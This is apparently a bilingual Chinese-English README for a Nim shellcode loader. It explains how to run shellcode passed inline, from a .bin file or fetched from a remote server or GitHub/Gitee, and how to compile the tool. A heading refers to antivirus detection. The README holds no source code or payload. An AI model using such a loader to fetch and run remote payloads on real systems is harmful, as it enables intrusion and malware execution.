nim_shellloader

详见以下: details:

usage

loader.exe payload.bin
loader.exe  (yourshellcode)
loader.exe (http://xxxx/xxx)

put your url/bin/shellcode direct 后面直接跟shellcode内容或者bin文件名或者网址就行

①use shellcode:

②use bin file

使用bin文件加载shellcode

③ load the shellcode which on your server(remote load) 加载你服务器上的shellcode

Besides,You can load shellcode which on your reposiotory(gitee,github,etc.) like this

此外你还可以把shellcode放在github，gitee的地方让loader去读

Notice:You must remove '\x' on your shellcode

注意:你必须去除你shellcode中的 \x

查杀情况

编译 compile

step1: setup require 安装所需的库

nimble install https://github.com/khchen/winim
nimble install https://github.com/status-im/nim-stew

step2: generate exe 生成exe

nim c --cpu:i386 -d:mingw -d:ssl --opt:size shellcode_loader.nim

windows上编译容易出现玄学问题可以用debian11交叉编译不过记得要装mingw

It's easy to have problem if you compile it on Windows Platform.In my opion,you'd better compile it on Linux

如果出现 :could not load:(libcrypto-1_1|libeay32).dll If Go wrong with :could not load:(libcrypto-1_1|libeay32).dll

考虑是运行的平台问题因为编译的时候i386是x86的所以出现这个问题就把i386换成amd64

I consider this is because of the wrong command(it didn't match target's platform ),so please change "i386" to "amd64",like following

nim c --cpu:amd64 -d:mingw -d:ssl --opt:size shellcode_loader.nim

If it is compiled on windows, you don't need to add -d:mingw

如果是windows上编译则可以不用加-d:mingw

你可能会在运行这个加载器上出现问题如果你出现

It's possible that the shellcode_loader will go wrong with:

could not load: (libcrypto-1_1-x64|libeay64).dll

你可能需要解决这些库

That means you maybe need to solve these dll

libcrypto-1_1-x64.dll

libenchant.dll

libpq.dll

libsasl.dll

libsodium.dll

libssh2.dll

libssl-1_1-x64.dll

You can find them under the floder which belong to PHP

这些库可以在windows下 php环境中找到

Also , you can download them on the Internet 也可以从网上下载
